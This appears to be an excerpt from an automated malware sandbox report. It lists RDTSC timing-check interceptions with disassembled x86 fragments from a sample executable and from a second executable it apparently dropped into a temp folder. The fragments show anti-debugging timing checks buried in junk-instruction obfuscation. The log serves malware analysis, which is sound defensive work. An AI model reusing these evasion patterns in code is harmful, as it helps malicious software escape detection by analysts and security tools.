Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F0AAB second address: 48F0AC5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B87196h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F0B1D second address: 48F0B65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, B9h 0x00000005 pushfd 0x00000006 jmp 00007FF018BAC3A0h 0x0000000b xor ecx, 2E562908h 0x00000011 jmp 00007FF018BAC39Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a je 00007FF089EC01D3h 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FF018BAC3A5h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F0B65 second address: 48F0B75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF018B8718Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F0B75 second address: 48F0B8B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [ebp+08h], 00002000h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 mov bx, 66AEh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4910874 second address: 49108AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B87190h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FF018B87190h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 call 00007FF018B8718Dh 0x00000019 pop esi 0x0000001a push ebx 0x0000001b pop eax 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49108AF second address: 491095C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC39Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007FF018BAC3A0h 0x0000000f push eax 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FF018BAC3A1h 0x00000017 add esi, 5C3DDA26h 0x0000001d jmp 00007FF018BAC3A1h 0x00000022 popfd 0x00000023 popad 0x00000024 xchg eax, esi 0x00000025 jmp 00007FF018BAC39Dh 0x0000002a mov esi, dword ptr [ebp+0Ch] 0x0000002d jmp 00007FF018BAC39Eh 0x00000032 test esi, esi 0x00000034 jmp 00007FF018BAC3A0h 0x00000039 je 00007FF089EA9E21h 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 pushfd 0x00000043 jmp 00007FF018BAC39Dh 0x00000048 and cx, 8B96h 0x0000004d jmp 00007FF018BAC3A1h 0x00000052 popfd 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 491095C second address: 4910961 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4910961 second address: 49109A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC3A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [75C7459Ch], 05h 0x00000010 pushad 0x00000011 mov di, ax 0x00000014 call 00007FF018BAC3A0h 0x00000019 mov dh, ch 0x0000001b pop edx 0x0000001c popad 0x0000001d je 00007FF089EC1E92h 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49109A7 second address: 49109AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49109AB second address: 49109BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC39Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49109BA second address: 49109DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B87199h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4910A4C second address: 4910A9E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC3A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, esi 0x0000000b pushad 0x0000000c mov edx, esi 0x0000000e call 00007FF018BAC39Ah 0x00000013 mov ax, 0641h 0x00000017 pop eax 0x00000018 popad 0x00000019 push eax 0x0000001a jmp 00007FF018BAC39Ch 0x0000001f xchg eax, esi 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FF018BAC3A7h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4910ADD second address: 4910AE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4910AE1 second address: 4910AE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4910AE5 second address: 4910AEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4910AEB second address: 4910B0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, 6AC7h 0x00000007 call 00007FF018BAC39Ch 0x0000000c pop esi 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 mov cx, 42AFh 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4910B0D second address: 4910B13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: E9E4EB second address: E9E4F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1016149 second address: 101617D instructions: 0x00000000 rdtsc 0x00000002 jne 00007FF018B8719Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007FF018B871A8h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FF018B8718Ah 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 101617D second address: 1016181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1016181 second address: 1016185 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1016185 second address: 101618B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 10229B0 second address: 10229B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 10229B9 second address: 10229C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1022C80 second address: 1022C94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF018B8718Fh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1022C94 second address: 1022C99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1022C99 second address: 1022CC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 popad 0x0000000a jne 00007FF018B87186h 0x00000010 pop eax 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FF018B87199h 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1022CC7 second address: 1022CCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1022F8F second address: 1022F96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1023136 second address: 1023156 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007FF018BAC39Eh 0x0000000b pushad 0x0000000c ja 00007FF018BAC396h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 10232D3 second address: 10232DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FF018B87186h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 10232DF second address: 10232F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jno 00007FF018BAC396h 0x0000000c jmp 00007FF018BAC39Ah 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 10232F7 second address: 1023319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007FF018B8719Ah 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 10263CF second address: 10263D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 10263D8 second address: 10263DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 10264CC second address: 102652E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov dword ptr [ebp+122D2441h], ebx 0x00000011 push 00000000h 0x00000013 mov esi, dword ptr [ebp+122D2E70h] 0x00000019 call 00007FF018BAC399h 0x0000001e pushad 0x0000001f jmp 00007FF018BAC39Eh 0x00000024 jmp 00007FF018BAC39Eh 0x00000029 popad 0x0000002a push eax 0x0000002b jmp 00007FF018BAC3A5h 0x00000030 mov eax, dword ptr [esp+04h] 0x00000034 pushad 0x00000035 push ecx 0x00000036 pushad 0x00000037 popad 0x00000038 pop ecx 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 102652E second address: 1026542 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007FF018B87188h 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1026542 second address: 1026566 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC3A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push edi 0x0000000e jng 00007FF018BAC39Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1026566 second address: 10265D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop eax 0x00000006 mov ecx, dword ptr [ebp+122D2D40h] 0x0000000c mov esi, eax 0x0000000e push 00000003h 0x00000010 jmp 00007FF018B87190h 0x00000015 push 00000000h 0x00000017 call 00007FF018B87196h 0x0000001c sub ch, 00000002h 0x0000001f pop esi 0x00000020 push 00000003h 0x00000022 jnc 00007FF018B8718Ch 0x00000028 and esi, dword ptr [ebp+122D2EB8h] 0x0000002e call 00007FF018B87189h 0x00000033 pushad 0x00000034 jmp 00007FF018B87196h 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 10265D4 second address: 10265F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC3A0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007FF018BAC398h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 10265F4 second address: 1026623 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jno 00007FF018B8718Eh 0x00000012 mov eax, dword ptr [eax] 0x00000014 jmp 00007FF018B8718Bh 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d pushad 0x0000001e push ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1026623 second address: 1026661 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jbe 00007FF018BAC3A9h 0x0000000b popad 0x0000000c pop eax 0x0000000d mov cx, 6D06h 0x00000011 lea ebx, dword ptr [ebp+1245C2E3h] 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FF018BAC3A1h 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1026661 second address: 1026667 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1026667 second address: 102666B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 10266CF second address: 1026737 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007FF018B87193h 0x0000000f jl 00007FF018B8718Ch 0x00000015 popad 0x00000016 nop 0x00000017 push edx 0x00000018 mov dword ptr [ebp+122D2568h], ecx 0x0000001e pop esi 0x0000001f push 00000000h 0x00000021 push 00000000h 0x00000023 push edi 0x00000024 call 00007FF018B87188h 0x00000029 pop edi 0x0000002a mov dword ptr [esp+04h], edi 0x0000002e add dword ptr [esp+04h], 0000001Dh 0x00000036 inc edi 0x00000037 push edi 0x00000038 ret 0x00000039 pop edi 0x0000003a ret 0x0000003b mov si, A035h 0x0000003f push 6EEC4E5Ah 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 10267F2 second address: 10267FC instructions: 0x00000000 rdtsc 0x00000002 jne 00007FF018BAC396h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 10267FC second address: 1026816 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF018B87195h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1026816 second address: 1026887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007FF018BAC3A9h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 pushad 0x00000013 pushad 0x00000014 jmp 00007FF018BAC39Bh 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c push ebx 0x0000001d push edx 0x0000001e pop edx 0x0000001f pop ebx 0x00000020 popad 0x00000021 pop eax 0x00000022 call 00007FF018BAC39Eh 0x00000027 or si, 339Eh 0x0000002c pop esi 0x0000002d mov edx, dword ptr [ebp+122D2E24h] 0x00000033 lea ebx, dword ptr [ebp+1245C2ECh] 0x00000039 mov dword ptr [ebp+122D1CF3h], edx 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 push ecx 0x00000043 jmp 00007FF018BAC39Ah 0x00000048 pop ecx 0x00000049 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1026887 second address: 102688D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 102694D second address: 1026953 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 10453F9 second address: 10453FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 10456F2 second address: 10456F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 10456F6 second address: 1045708 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF018B8718Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1045B6A second address: 1045B6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1045B6F second address: 1045B87 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FF018B8718Ch 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1045B87 second address: 1045B8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1045CD1 second address: 1045CD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1045CD5 second address: 1045CD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1045CD9 second address: 1045CF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF018B87194h 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1045CF3 second address: 1045D11 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC3A9h 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1045E97 second address: 1045E9D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1017BB5 second address: 1017BB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1017BB9 second address: 1017BC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1046BEB second address: 1046BF4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1046BF4 second address: 1046BFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1046D59 second address: 1046D5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1046D5D second address: 1046D69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 10471D0 second address: 10471D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 104E813 second address: 104E817 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 104EDF5 second address: 104EE0E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC3A5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 104EE0E second address: 104EE14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 104EE14 second address: 104EE18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 104EE18 second address: 104EE5F instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF018B87186h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jg 00007FF018B871A0h 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FF018B87194h 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 104EE5F second address: 104EE8D instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF018BAC398h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e pushad 0x0000000f jmp 00007FF018BAC39Eh 0x00000014 jg 00007FF018BAC398h 0x0000001a popad 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f pushad 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 104EE8D second address: 104EE93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 104EF69 second address: 104EF74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FF018BAC396h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
